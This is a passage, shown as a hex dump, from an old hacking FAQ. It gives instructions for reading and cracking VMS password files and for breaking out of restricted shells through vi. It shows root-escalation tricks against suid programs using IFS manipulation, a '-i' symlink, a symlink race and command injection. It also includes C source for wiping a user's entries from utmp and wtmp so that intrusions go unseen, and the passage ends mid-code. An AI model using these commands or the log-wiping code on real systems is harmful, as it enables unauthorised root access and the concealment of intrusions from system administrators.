|00003270| 20 20 69 20 20 6a 20 20 | 6b 20 20 6c 20 20 6d 20 | i j |k l m |
|00003280| 20 6e 20 20 6f 20 20 70 | 20 20 71 20 20 72 20 20 | n o p| q r |
|00003290| 73 20 20 74 20 20 75 20 | 20 76 20 7c 0d 0a 7c 20 |s t u | v |..| |
|000032a0| 20 20 20 4e 75 6d 62 65 | 72 3a 20 34 30 20 34 31 | Numbe|r: 40 41|
|000032b0| 20 34 32 20 34 33 20 34 | 34 20 34 35 20 34 36 20 | 42 43 4|4 45 46 |
|000032c0| 34 37 20 34 38 20 34 39 | 20 35 30 20 35 31 20 35 |47 48 49| 50 51 5|
|000032d0| 32 20 35 33 20 35 34 20 | 35 35 20 35 36 20 35 37 |2 53 54 |55 56 57|
|000032e0| 20 35 38 20 35 39 20 7c | 0d 0a 7c 20 20 20 20 20 | 58 59 ||..| |
|000032f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003300| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003320| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003330| 20 20 20 7c 0d 0a 7c 20 | 43 68 61 72 61 63 74 65 | |..| |Characte|
|00003340| 72 3a 20 20 77 20 20 78 | 20 20 79 20 20 7a 20 20 |r: w x| y z |
|00003350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 7c | | ||
|00003380| 0d 0a 7c 20 20 20 20 4e | 75 6d 62 65 72 3a 20 36 |..| N|umber: 6|
|00003390| 30 20 36 31 20 36 32 20 | 36 33 20 20 20 20 20 20 |0 61 62 |63 |
|000033a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000033b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000033c0| 20 20 20 20 20 20 20 20 | 20 20 20 7c 0d 0a 7c 20 | | |..| |
|000033d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000033e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000033f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003410| 20 20 20 20 20 20 20 7c | 0d 0a 2b 2d 2d 2d 2d 2d | ||..+-----|
|00003420| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003430| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003440| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003450| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003460| 2d 2d 2d 2b 0d 0a 0d 0a | 0d 0a 30 37 2e 20 48 6f |---+....|..07. Ho|
|00003470| 77 20 64 6f 20 49 20 61 | 63 63 65 73 73 20 74 68 |w do I a|ccess th|
|00003480| 65 20 70 61 73 73 77 6f | 72 64 20 66 69 6c 65 20 |e passwo|rd file |
|00003490| 75 6e 64 65 72 20 56 4d | 53 3f 0d 0a 0d 0a 55 6e |under VM|S?....Un|
|000034a0| 64 65 72 20 56 4d 53 2c | 20 74 68 65 20 70 61 73 |der VMS,| the pas|
|000034b0| 73 77 6f 72 64 20 66 69 | 6c 65 20 69 73 20 53 59 |sword fi|le is SY|
|000034c0| 53 24 53 59 53 54 45 4d | 3a 53 59 53 55 41 46 2e |S$SYSTEM|:SYSUAF.|
|000034d0| 44 41 54 2e 20 20 48 6f | 77 65 76 65 72 2c 0d 0a |DAT. Ho|wever,..|
|000034e0| 75 6e 6c 69 6b 65 20 55 | 6e 69 78 2c 20 6d 6f 73 |unlike U|nix, mos|
|000034f0| 74 20 75 73 65 72 73 20 | 64 6f 20 6e 6f 74 20 68 |t users |do not h|
|00003500| 61 76 65 20 61 63 63 65 | 73 73 20 74 6f 20 72 65 |ave acce|ss to re|
|00003510| 61 64 20 74 68 65 20 70 | 61 73 73 77 6f 72 64 20 |ad the p|assword |
|00003520| 66 69 6c 65 2e 0d 0a 0d | 0a 0d 0a 30 38 2e 20 48 |file....|...08. H|
|00003530| 6f 77 20 64 6f 20 49 20 | 63 72 61 63 6b 20 56 4d |ow do I |crack VM|
|00003540| 53 20 70 61 73 73 77 6f | 72 64 73 3f 0d 0a 0d 0a |S passwo|rds?....|
|00003550| 57 72 69 74 65 20 61 20 | 70 72 6f 67 72 61 6d 20 |Write a |program |
|00003560| 74 68 61 74 20 75 73 65 | 73 20 74 68 65 20 53 59 |that use|s the SY|
|00003570| 53 24 47 45 54 55 41 46 | 20 66 75 6e 63 74 69 6f |S$GETUAF| functio|
|00003580| 6e 73 20 74 6f 20 63 6f | 6d 70 61 72 65 20 74 68 |ns to co|mpare th|
|00003590| 65 0d 0a 72 65 73 75 6c | 74 73 20 6f 66 20 65 6e |e..resul|ts of en|
|000035a0| 63 72 79 70 74 65 64 20 | 77 6f 72 64 73 20 61 67 |crypted |words ag|
|000035b0| 61 69 6e 73 74 20 74 68 | 65 20 65 6e 63 72 79 70 |ainst th|e encryp|
|000035c0| 74 65 64 20 64 61 74 61 | 20 69 6e 20 53 59 53 55 |ted data| in SYSU|
|000035d0| 41 46 2e 44 41 54 2e 0d | 0a 0d 0a 54 77 6f 20 73 |AF.DAT..|...Two s|
|000035e0| 75 63 68 20 70 72 6f 67 | 72 61 6d 73 20 61 72 65 |uch prog|rams are|
|000035f0| 20 6b 6e 6f 77 6e 20 74 | 6f 20 65 78 69 73 74 2c | known t|o exist,|
|00003600| 20 43 48 45 43 4b 5f 50 | 41 53 53 57 4f 52 44 20 | CHECK_P|ASSWORD |
|00003610| 61 6e 64 0d 0a 47 55 45 | 53 53 5f 50 41 53 53 57 |and..GUE|SS_PASSW|
|00003620| 4f 52 44 2e 0d 0a 0d 0a | 0d 0a 30 39 2e 20 48 6f |ORD.....|..09. Ho|
|00003630| 77 20 64 6f 20 49 20 62 | 72 65 61 6b 20 6f 75 74 |w do I b|reak out|
|00003640| 20 6f 66 20 61 20 72 65 | 73 74 72 69 63 74 65 64 | of a re|stricted|
|00003650| 20 73 68 65 6c 6c 3f 0d | 0a 0d 0a 4f 6e 20 70 6f | shell?.|...On po|
|00003660| 6f 72 6c 79 20 69 6d 70 | 6c 65 6d 65 6e 74 65 64 |orly imp|lemented|
|00003670| 20 72 65 73 74 72 69 63 | 74 65 64 20 73 68 65 6c | restric|ted shel|
|00003680| 6c 73 20 79 6f 75 20 63 | 61 6e 20 62 72 65 61 6b |ls you c|an break|
|00003690| 20 6f 75 74 20 6f 66 20 | 74 68 65 0d 0a 72 65 73 | out of |the..res|
|000036a0| 74 72 69 63 74 65 64 20 | 65 6e 76 69 72 6f 6e 6d |tricted |environm|
|000036b0| 65 6e 74 20 62 79 20 72 | 75 6e 6e 69 6e 67 20 61 |ent by r|unning a|
|000036c0| 20 70 72 6f 67 72 61 6d | 20 74 68 61 74 20 66 65 | program| that fe|
|000036d0| 61 74 75 72 65 73 20 61 | 20 73 68 65 6c 6c 0d 0a |atures a| shell..|
|000036e0| 66 75 6e 63 74 69 6f 6e | 2e 20 20 41 20 67 6f 6f |function|. A goo|
|000036f0| 64 20 65 78 61 6d 70 6c | 65 20 69 73 20 76 69 2e |d exampl|e is vi.|
|00003700| 20 20 52 75 6e 20 76 69 | 20 61 6e 64 20 75 73 65 | Run vi| and use|
|00003710| 20 74 68 69 73 20 63 6f | 6d 6d 61 6e 64 3a 0d 0a | this co|mmand:..|
|00003720| 0d 0a 3a 73 65 74 20 73 | 68 65 6c 6c 3d 2f 62 69 |..:set s|hell=/bi|
|00003730| 6e 2f 73 68 0d 0a 0d 0a | 74 68 65 6e 20 73 68 65 |n/sh....|then she|
|00003740| 6c 6c 20 75 73 69 6e 67 | 20 74 68 69 73 20 63 6f |ll using| this co|
|00003750| 6d 6d 61 6e 64 3a 0d 0a | 0d 0a 3a 73 68 65 6c 6c |mmand:..|..:shell|
|00003760| 0d 0a 0d 0a 0d 0a 31 30 | 2e 20 48 6f 77 20 64 6f |......10|. How do|
|00003770| 20 49 20 67 61 69 6e 20 | 72 6f 6f 74 20 66 72 6f | I gain |root fro|
|00003780| 6d 20 61 20 73 75 69 64 | 20 73 63 72 69 70 74 20 |m a suid| script |
|00003790| 6f 72 20 70 72 6f 67 72 | 61 6d 3f 0d 0a 0d 0a 31 |or progr|am?....1|
|000037a0| 2e 20 43 68 61 6e 67 65 | 20 49 46 53 2e 0d 0a 0d |. Change| IFS....|
|000037b0| 0a 49 66 20 74 68 65 20 | 70 72 6f 67 72 61 6d 20 |.If the |program |
|000037c0| 63 61 6c 6c 73 20 61 6e | 79 20 6f 74 68 65 72 20 |calls an|y other |
|000037d0| 70 72 6f 67 72 61 6d 73 | 20 75 73 69 6e 67 20 74 |programs| using t|
|000037e0| 68 65 20 73 79 73 74 65 | 6d 28 29 20 66 75 6e 63 |he syste|m() func|
|000037f0| 74 69 6f 6e 0d 0a 63 61 | 6c 6c 2c 20 79 6f 75 20 |tion..ca|ll, you |
|00003800| 6d 61 79 20 62 65 20 61 | 62 6c 65 20 74 6f 20 66 |may be a|ble to f|
|00003810| 6f 6f 6c 20 69 74 20 62 | 79 20 63 68 61 6e 67 69 |ool it b|y changi|
|00003820| 6e 67 20 49 46 53 2e 20 | 20 49 46 53 20 69 73 20 |ng IFS. | IFS is |
|00003830| 74 68 65 20 49 6e 74 65 | 72 6e 61 6c 0d 0a 46 69 |the Inte|rnal..Fi|
|00003840| 65 6c 64 20 53 65 70 61 | 72 61 74 6f 72 20 74 68 |eld Sepa|rator th|
|00003850| 61 74 20 74 68 65 20 73 | 68 65 6c 6c 20 75 73 65 |at the s|hell use|
|00003860| 73 20 74 6f 20 64 65 6c | 69 6d 69 74 20 61 72 67 |s to del|imit arg|
|00003870| 75 6d 65 6e 74 73 2e 0d | 0a 0d 0a 49 66 20 74 68 |uments..|...If th|
|00003880| 65 20 70 72 6f 67 72 61 | 6d 20 63 6f 6e 74 61 69 |e progra|m contai|
|00003890| 6e 73 20 61 20 6c 69 6e | 65 20 74 68 61 74 20 6c |ns a lin|e that l|
|000038a0| 6f 6f 6b 73 20 6c 69 6b | 65 20 74 68 69 73 3a 0d |ooks lik|e this:.|
|000038b0| 0a 0d 0a 73 79 73 74 65 | 6d 28 22 2f 62 69 6e 2f |...syste|m("/bin/|
|000038c0| 64 61 74 65 22 29 0d 0a | 0d 0a 61 6e 64 20 79 6f |date")..|..and yo|
|000038d0| 75 20 63 68 61 6e 67 65 | 20 49 46 53 20 74 6f 20 |u change| IFS to |
|000038e0| 27 2f 27 20 74 68 65 20 | 73 68 65 6c 6c 20 77 69 |'/' the |shell wi|
|000038f0| 6c 6c 20 74 68 65 6d 20 | 69 6e 74 65 72 70 72 65 |ll them |interpre|
|00003900| 74 20 74 68 65 0d 0a 70 | 72 6f 63 65 65 64 69 6e |t the..p|roceedin|
|00003910| 67 20 6c 69 6e 65 20 61 | 73 3a 0d 0a 0d 0a 62 69 |g line a|s:....bi|
|00003920| 6e 20 64 61 74 65 0d 0a | 0d 0a 4e 6f 77 2c 20 69 |n date..|..Now, i|
|00003930| 66 20 79 6f 75 20 68 61 | 76 65 20 61 20 70 72 6f |f you ha|ve a pro|
|00003940| 67 72 61 6d 20 6f 66 20 | 79 6f 75 72 20 6f 77 6e |gram of |your own|
|00003950| 20 69 6e 20 74 68 65 20 | 70 61 74 68 20 63 61 6c | in the |path cal|
|00003960| 6c 65 64 20 22 62 69 6e | 22 20 74 68 65 0d 0a 73 |led "bin|" the..s|
|00003970| 75 69 64 20 70 72 6f 67 | 72 61 6d 20 77 69 6c 6c |uid prog|ram will|
|00003980| 20 72 75 6e 20 79 6f 75 | 72 20 70 72 6f 67 72 61 | run you|r progra|
|00003990| 6d 20 69 6e 73 74 65 61 | 64 20 6f 66 20 2f 62 69 |m instea|d of /bi|
|000039a0| 6e 2f 64 61 74 65 2e 0d | 0a 0d 0a 54 6f 20 63 68 |n/date..|...To ch|
|000039b0| 61 6e 67 65 20 49 46 53 | 2c 20 75 73 65 20 74 68 |ange IFS|, use th|
|000039c0| 69 73 20 63 6f 6d 6d 61 | 6e 64 3a 0d 0a 0d 0a 49 |is comma|nd:....I|
|000039d0| 46 53 3d 27 2f 27 3b 65 | 78 70 6f 72 74 20 49 46 |FS='/';e|xport IF|
|000039e0| 53 20 20 20 20 20 20 23 | 20 42 6f 75 72 6e 65 20 |S #| Bourne |
|000039f0| 53 68 65 6c 6c 0d 0a 73 | 65 74 65 6e 76 20 49 46 |Shell..s|etenv IF|
|00003a00| 53 20 27 2f 27 20 20 20 | 20 20 20 20 20 20 20 23 |S '/' | #|
|00003a10| 20 43 20 53 68 65 6c 6c | 0d 0a 65 78 70 6f 72 74 | C Shell|..export|
|00003a20| 20 49 46 53 3d 27 2f 27 | 20 20 20 20 20 20 20 20 | IFS='/'| |
|00003a30| 20 20 23 20 4b 6f 72 6e | 20 53 68 65 6c 6c 0d 0a | # Korn| Shell..|
|00003a40| 0d 0a 0d 0a 32 2e 20 6c | 69 6e 6b 20 74 68 65 20 |....2. l|ink the |
|00003a50| 73 63 72 69 70 74 20 74 | 6f 20 2d 69 0d 0a 0d 0a |script t|o -i....|
|00003a60| 43 72 65 61 74 65 20 61 | 20 73 79 6d 62 6f 6c 69 |Create a| symboli|
|00003a70| 63 20 6c 69 6e 6b 20 6e | 61 6d 65 64 20 22 2d 69 |c link n|amed "-i|
|00003a80| 22 20 74 6f 20 74 68 65 | 20 70 72 6f 67 72 61 6d |" to the| program|
|00003a90| 2e 20 20 52 75 6e 6e 69 | 6e 67 20 22 2d 69 22 0d |. Runni|ng "-i".|
|00003aa0| 0a 77 69 6c 6c 20 63 61 | 75 73 65 20 74 68 65 20 |.will ca|use the |
|00003ab0| 69 6e 74 65 72 70 72 65 | 74 65 72 20 73 68 65 6c |interpre|ter shel|
|00003ac0| 6c 20 28 2f 62 69 6e 2f | 73 68 29 20 74 6f 20 73 |l (/bin/|sh) to s|
|00003ad0| 74 61 72 74 20 75 70 20 | 69 6e 20 69 6e 74 65 72 |tart up |in inter|
|00003ae0| 61 63 74 69 76 65 0d 0a | 6d 6f 64 65 2e 20 20 54 |active..|mode. T|
|00003af0| 68 69 73 20 6f 6e 6c 79 | 20 77 6f 72 6b 73 20 6f |his only| works o|
|00003b00| 6e 20 73 75 69 64 20 73 | 68 65 6c 6c 20 73 63 72 |n suid s|hell scr|
|00003b10| 69 70 74 73 2e 0d 0a 0d | 0a 45 78 61 6d 70 6c 65 |ipts....|.Example|
|00003b20| 3a 0d 0a 0d 0a 25 20 6c | 6e 20 73 75 69 64 2e 73 |:....% l|n suid.s|
|00003b30| 68 20 2d 69 0d 0a 25 20 | 2d 69 0d 0a 23 0d 0a 0d |h -i..% |-i..#...|
|00003b40| 0a 0d 0a 33 2e 20 45 78 | 70 6c 6f 69 74 20 61 20 |...3. Ex|ploit a |
|00003b50| 72 61 63 65 20 63 6f 6e | 64 69 74 69 6f 6e 0d 0a |race con|dition..|
|00003b60| 0d 0a 52 65 70 6c 61 63 | 65 20 61 20 73 79 6d 62 |..Replac|e a symb|
|00003b70| 6f 6c 69 63 20 6c 69 6e | 6b 20 74 6f 20 74 68 65 |olic lin|k to the|
|00003b80| 20 70 72 6f 67 72 61 6d | 20 77 69 74 68 20 61 6e | program| with an|
|00003b90| 6f 74 68 65 72 20 70 72 | 6f 67 72 61 6d 20 77 68 |other pr|ogram wh|
|00003ba0| 69 6c 65 20 74 68 65 0d | 0a 6b 65 72 6e 65 6c 20 |ile the.|.kernel |
|00003bb0| 69 73 20 6c 6f 61 64 69 | 6e 67 20 2f 62 69 6e 2f |is loadi|ng /bin/|
|00003bc0| 73 68 2e 0d 0a 0d 0a 45 | 78 61 6d 70 6c 65 3a 0d |sh.....E|xample:.|
|00003bd0| 0a 0d 0a 6e 69 63 65 20 | 2d 31 39 20 73 75 69 64 |...nice |-19 suid|
|00003be0| 70 72 6f 67 20 3b 20 6c | 6e 20 2d 73 20 65 76 69 |prog ; l|n -s evi|
|00003bf0| 6c 70 72 6f 67 20 73 75 | 69 64 72 6f 6f 74 0d 0a |lprog su|idroot..|
|00003c00| 0d 0a 0d 0a 34 2e 20 53 | 65 6e 64 20 62 61 64 20 |....4. S|end bad |
|00003c10| 69 6e 70 75 74 20 74 6f | 20 74 68 65 20 70 72 6f |input to| the pro|
|00003c20| 67 72 61 6d 2e 0d 0a 0d | 0a 49 6e 76 6f 6b 65 20 |gram....|.Invoke |
|00003c30| 74 68 65 20 6e 61 6d 65 | 20 6f 66 20 74 68 65 20 |the name| of the |
|00003c40| 70 72 6f 67 72 61 6d 20 | 61 6e 64 20 61 20 73 65 |program |and a se|
|00003c50| 70 61 72 61 74 65 20 63 | 6f 6d 6d 61 6e 64 20 6f |parate c|ommand o|
|00003c60| 6e 20 74 68 65 20 73 61 | 6d 65 0d 0a 63 6f 6d 6d |n the sa|me..comm|
|00003c70| 61 6e 64 20 6c 69 6e 65 | 2e 0d 0a 0d 0a 45 78 61 |and line|.....Exa|
|00003c80| 6d 70 6c 65 3a 0d 0a 0d | 0a 73 75 69 64 70 72 6f |mple:...|.suidpro|
|00003c90| 67 20 3b 20 69 64 0d 0a | 0d 0a 0d 0a 31 31 2e 20 |g ; id..|....11. |
|00003ca0| 48 6f 77 20 64 6f 20 49 | 20 65 72 61 73 65 20 6d |How do I| erase m|
|00003cb0| 79 20 70 72 65 73 65 6e | 63 65 20 66 72 6f 6d 20 |y presen|ce from |
|00003cc0| 74 68 65 20 73 79 73 74 | 65 6d 20 6c 6f 67 73 3f |the syst|em logs?|
|00003cd0| 0d 0a 0d 0a 45 64 69 74 | 20 2f 65 74 63 2f 75 74 |....Edit| /etc/ut|
|00003ce0| 6d 70 2c 20 2f 75 73 72 | 2f 61 64 6d 2f 77 74 6d |mp, /usr|/adm/wtm|
|00003cf0| 70 20 61 6e 64 20 2f 75 | 73 72 2f 61 64 6d 2f 6c |p and /u|sr/adm/l|
|00003d00| 61 73 74 6c 6f 67 2e 20 | 54 68 65 73 65 20 61 72 |astlog. |These ar|
|00003d10| 65 20 6e 6f 74 20 74 65 | 78 74 0d 0a 66 69 6c 65 |e not te|xt..file|
|00003d20| 73 20 74 68 61 74 20 63 | 61 6e 20 62 65 20 65 64 |s that c|an be ed|
|00003d30| 69 74 65 64 20 62 79 20 | 68 61 6e 64 20 77 69 74 |ited by |hand wit|
|00003d40| 68 20 76 69 2c 20 79 6f | 75 20 6d 75 73 74 20 75 |h vi, yo|u must u|
|00003d50| 73 65 20 61 20 70 72 6f | 67 72 61 6d 0d 0a 73 70 |se a pro|gram..sp|
|00003d60| 65 63 69 66 69 63 61 6c | 6c 79 20 77 72 69 74 74 |ecifical|ly writt|
|00003d70| 65 6e 20 66 6f 72 20 74 | 68 69 73 20 70 75 72 70 |en for t|his purp|
|00003d80| 6f 73 65 2e 0d 0a 0d 0a | 45 78 61 6d 70 6c 65 3a |ose.....|Example:|
|00003d90| 0d 0a 0d 0a 23 69 6e 63 | 6c 75 64 65 20 3c 73 79 |....#inc|lude <sy|
|00003da0| 73 2f 74 79 70 65 73 2e | 68 3e 0d 0a 23 69 6e 63 |s/types.|h>..#inc|
|00003db0| 6c 75 64 65 20 3c 73 74 | 64 69 6f 2e 68 3e 0d 0a |lude <st|dio.h>..|
|00003dc0| 23 69 6e 63 6c 75 64 65 | 20 3c 75 6e 69 73 74 64 |#include| <unistd|
|00003dd0| 2e 68 3e 0d 0a 23 69 6e | 63 6c 75 64 65 20 3c 73 |.h>..#in|clude <s|
|00003de0| 79 73 2f 66 69 6c 65 2e | 68 3e 0d 0a 23 69 6e 63 |ys/file.|h>..#inc|
|00003df0| 6c 75 64 65 20 3c 66 63 | 6e 74 6c 2e 68 3e 0d 0a |lude <fc|ntl.h>..|
|00003e00| 23 69 6e 63 6c 75 64 65 | 20 3c 75 74 6d 70 2e 68 |#include| <utmp.h|
|00003e10| 3e 0d 0a 23 69 6e 63 6c | 75 64 65 20 3c 70 77 64 |>..#incl|ude <pwd|
|00003e20| 2e 68 3e 0d 0a 23 69 6e | 63 6c 75 64 65 20 3c 6c |.h>..#in|clude <l|
|00003e30| 61 73 74 6c 6f 67 2e 68 | 3e 0d 0a 23 64 65 66 69 |astlog.h|>..#defi|
|00003e40| 6e 65 20 57 54 4d 50 5f | 4e 41 4d 45 20 22 2f 75 |ne WTMP_|NAME "/u|
|00003e50| 73 72 2f 61 64 6d 2f 77 | 74 6d 70 22 0d 0a 23 64 |sr/adm/w|tmp"..#d|
|00003e60| 65 66 69 6e 65 20 55 54 | 4d 50 5f 4e 41 4d 45 20 |efine UT|MP_NAME |
|00003e70| 22 2f 65 74 63 2f 75 74 | 6d 70 22 0d 0a 23 64 65 |"/etc/ut|mp"..#de|
|00003e80| 66 69 6e 65 20 4c 41 53 | 54 4c 4f 47 5f 4e 41 4d |fine LAS|TLOG_NAM|
|00003e90| 45 20 22 2f 75 73 72 2f | 61 64 6d 2f 6c 61 73 74 |E "/usr/|adm/last|
|00003ea0| 6c 6f 67 22 0d 0a 20 0d | 0a 69 6e 74 20 66 3b 0d |log".. .|.int f;.|
|00003eb0| 0a 20 0d 0a 76 6f 69 64 | 20 6b 69 6c 6c 5f 75 74 |. ..void| kill_ut|
|00003ec0| 6d 70 28 77 68 6f 29 0d | 0a 63 68 61 72 20 2a 77 |mp(who).|.char *w|
|00003ed0| 68 6f 3b 0d 0a 7b 0d 0a | 20 20 20 20 73 74 72 75 |ho;..{..| stru|
|00003ee0| 63 74 20 75 74 6d 70 20 | 75 74 6d 70 5f 65 6e 74 |ct utmp |utmp_ent|
|00003ef0| 3b 0d 0a 20 0d 0a 20 20 | 69 66 20 28 28 66 3d 6f |;.. .. |if ((f=o|
|00003f00| 70 65 6e 28 55 54 4d 50 | 5f 4e 41 4d 45 2c 4f 5f |pen(UTMP|_NAME,O_|
|00003f10| 52 44 57 52 29 29 3e 3d | 30 29 20 7b 0d 0a 20 20 |RDWR))>=|0) {.. |
|00003f20| 20 20 20 77 68 69 6c 65 | 28 72 65 61 64 20 28 66 | while|(read (f|
|00003f30| 2c 20 26 75 74 6d 70 5f | 65 6e 74 2c 20 73 69 7a |, &utmp_|ent, siz|
|00003f40| 65 6f 66 20 28 75 74 6d | 70 5f 65 6e 74 29 29 3e |eof (utm|p_ent))>|
|00003f50| 20 30 20 29 0d 0a 20 20 | 20 20 20 20 20 69 66 20 | 0 ).. | if |
|00003f60| 28 21 73 74 72 6e 63 6d | 70 28 75 74 6d 70 5f 65 |(!strncm|p(utmp_e|
|00003f70| 6e 74 2e 75 74 5f 6e 61 | 6d 65 2c 77 68 6f 2c 73 |nt.ut_na|me,who,s|
|00003f80| 74 72 6c 65 6e 28 77 68 | 6f 29 29 29 20 7b 0d 0a |trlen(wh|o))) {..|
|00003f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003fa0| 20 62 7a 65 72 6f 28 28 | 63 68 61 72 20 2a 29 26 | bzero((|char *)&|
|00003fb0| 75 74 6d 70 5f 65 6e 74 | 2c 73 69 7a 65 6f 66 28 |utmp_ent|,sizeof(|
|00003fc0| 20 75 74 6d 70 5f 65 6e | 74 20 29 29 3b 0d 0a 20 | utmp_en|t ));.. |
|00003fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003fe0| 6c 73 65 65 6b 20 28 66 | 2c 20 2d 28 73 69 7a 65 |lseek (f|, -(size|
|00003ff0| 6f 66 20 28 75 74 6d 70 | 5f 65 6e 74 29 29 2c 20 |of (utmp|_ent)), |
|00004000| 53 45 45 4b 5f 43 55 52 | 29 3b 0d 0a 20 20 20 20 |SEEK_CUR|);.. |
|00004010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 77 72 69 | | wri|
|00004020| 74 65 20 28 66 2c 20 26 | 75 74 6d 70 5f 65 6e 74 |te (f, &|utmp_ent|
|00004030| 2c 20 73 69 7a 65 6f 66 | 20 28 75 74 6d 70 5f 65 |, sizeof| (utmp_e|
|00004040| 6e 74 29 29 3b 0d 0a 20 | 20 20 20 20 20 20 20 20 |nt));.. | |
|00004050| 20 20 20 7d 0d 0a 20 20 | 20 20 20 63 6c 6f 73 65 | }.. | close|
|00004060| 28 66 29 3b 0d 0a 20 20 | 7d 0d 0a 7d 0d 0a 20 0d |(f);.. |}..}.. .|
|00004070| 0a 76 6f 69 64 20 6b 69 | 6c 6c 5f 77 74 6d 70 28 |.void ki|ll_wtmp(|
|00004080| 77 68 6f 29 0d 0a 63 68 | 61 72 20 2a 77 68 6f 3b |who)..ch|ar *who;|
|00004090| 0d 0a 7b 0d 0a 20 20 20 | 20 73 74 72 75 63 74 20 |..{.. | struct |
|000040a0| 75 74 6d 70 20 75 74 6d | 70 5f 65 6e 74 3b 0d 0a |utmp utm|p_ent;..|
|000040b0| 20 20 20 20 6c 6f 6e 67 | 20 70 6f 73 3b 0d 0a 20 | long| pos;.. |
|000040c0| 0d 0a 20 20 20 20 70 6f | 73 20 3d 20 31 4c 3b 0d |.. po|s = 1L;.|
|000040d0| 0a 20 20 20 20 69 66 20 | 28 28 66 3d 6f 70 65 6e |. if |((f=open|
|000040e0| 28 57 54 4d 50 5f 4e 41 | 4d 45 2c 4f 5f 52 44 57 |(WTMP_NA|ME,O_RDW|
|000040f0| 52 29 29 3e 3d 30 29 20 | 7b 0d 0a 20 0d 0a 20 20 |R))>=0) |{.. .. |
|00004100| 20 20 20 77 68 69 6c 65 | 28 70 6f 73 20 21 3d 20 | while|(pos != |
|00004110| 2d 31 4c 29 20 7b 0d 0a | 20 20 20 20 20 20 20 20 |-1L) {..| |
|00004120| 6c 73 65 65 6b 28 66 2c | 2d 28 6c 6f 6e 67 29 28 |lseek(f,|-(long)(|
|00004130| 20 28 73 69 7a 65 6f 66 | 28 73 74 72 75 63 74 20 | (sizeof|(struct |
|00004140| 75 74 6d 70 29 29 20 2a | 20 70 6f 73 29 2c 4c 5f |utmp)) *| pos),L_|
|00004150| 58 54 4e 44 29 3b 0d 0a | 20 20 20 20 20 20 20 20 |XTND);..| |
|00004160| 69 66 20 28 72 65 61 64 | 20 28 66 2c 20 26 75 74 |if (read| (f, &ut|
|00004170| 6d 70 5f 65 6e 74 2c 20 | 73 69 7a 65 6f 66 20 28 |mp_ent, |sizeof (|
|00004180| 73 74 72 75 63 74 20 75 | 74 6d 70 29 29 3c 30 29 |struct u|tmp))<0)|
|00004190| 20 7b 0d 0a 20 20 20 20 | 20 20 20 20 20 20 70 6f | {.. | po|
|000041a0| 73 20 3d 20 2d 31 4c 3b | 0d 0a 20 20 20 20 20 20 |s = -1L;|.. |
|000041b0| 20 20 7d 20 65 6c 73 65 | 20 7b 0d 0a 20 20 20 20 | } else| {.. |
|000041c0| 20 20 20 20 20 20 69 66 | 20 28 21 73 74 72 6e 63 | if| (!strnc|
|000041d0| 6d 70 28 75 74 6d 70 5f | 65 6e 74 2e 75 74 5f 6e |mp(utmp_|ent.ut_n|
|000041e0| 61 6d 65 2c 77 68 6f 2c | 73 74 72 6c 65 6e 28 77 |ame,who,|strlen(w|
|000041f0| 68 6f 29 29 29 20 7b 0d | 0a 20 20 20 20 20 20 20 |ho))) {.|. |
|00004200| 20 20 20 20 20 20 20 20 | 62 7a 65 72 6f 28 28 63 | |bzero((c|
|00004210| 68 61 72 20 2a 29 26 75 | 74 6d 70 5f 65 6e 74 2c |har *)&u|tmp_ent,|
|00004220| 73 69 7a 65 6f 66 28 73 | 74 72 75 63 74 20 75 74 |sizeof(s|truct ut|
|00004230| 6d 70 20 29 29 3b 0d 0a | 20 20 20 20 20 20 20 20 |mp ));..| |
|00004240| 20 20 20 20 20 20 20 6c | 73 65 65 6b 28 66 2c 2d | l|seek(f,-|
|00004250| 28 20 28 73 69 7a 65 6f | 66 28 73 74 72 75 63 74 |( (sizeo|f(struct|
|00004260| 20 75 74 6d 70 29 29 20 | 2a 20 70 6f 73 29 2c 4c | utmp)) |* pos),L|
|00004270| 5f 58 54 4e 44 29 3b 0d | 0a 20 20 20 20 20 20 20 |_XTND);.|. |
|00004280| 20 20 20 20 20 20 20 20 | 77 72 69 74 65 20 28 66 | |write (f|
|00004290| 2c 20 26 75 74 6d 70 5f | 65 6e 74 2c 20 73 69 7a |, &utmp_|ent, siz|
|000042a0| 65 6f 66 20 28 75 74 6d | 70 5f 65 6e 74 29 29 3b |eof (utm|p_ent));|
|000042b0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000042c0| 20 70 6f 73 20 3d 20 2d | 31 4c 3b 0d 0a 20 20 20 | pos = -|1L;.. |
|000042d0| 20 20 20 20 20 20 20 7d | 20 65 6c 73 65 20 70 6f | }| else po|
|000042e0| 73 20 2b 3d 20 31 4c 3b | 0d 0a 20 20 20 20 20 20 |s += 1L;|.. |
|000042f0| 20 20 7d 0d 0a 20 20 20 | 20 20 7d 0d 0a 20 20 20 | }.. | }.. |
|00004300| 20 20 63 6c 6f 73 65 28 | 66 29 3b 0d 0a 20 20 7d | close(|f);.. }|
|00004310| 0d 0a 7d 0d 0a 20 0d 0a | 76 6f 69 64 20 6b 69 6c |..}.. ..|void kil|
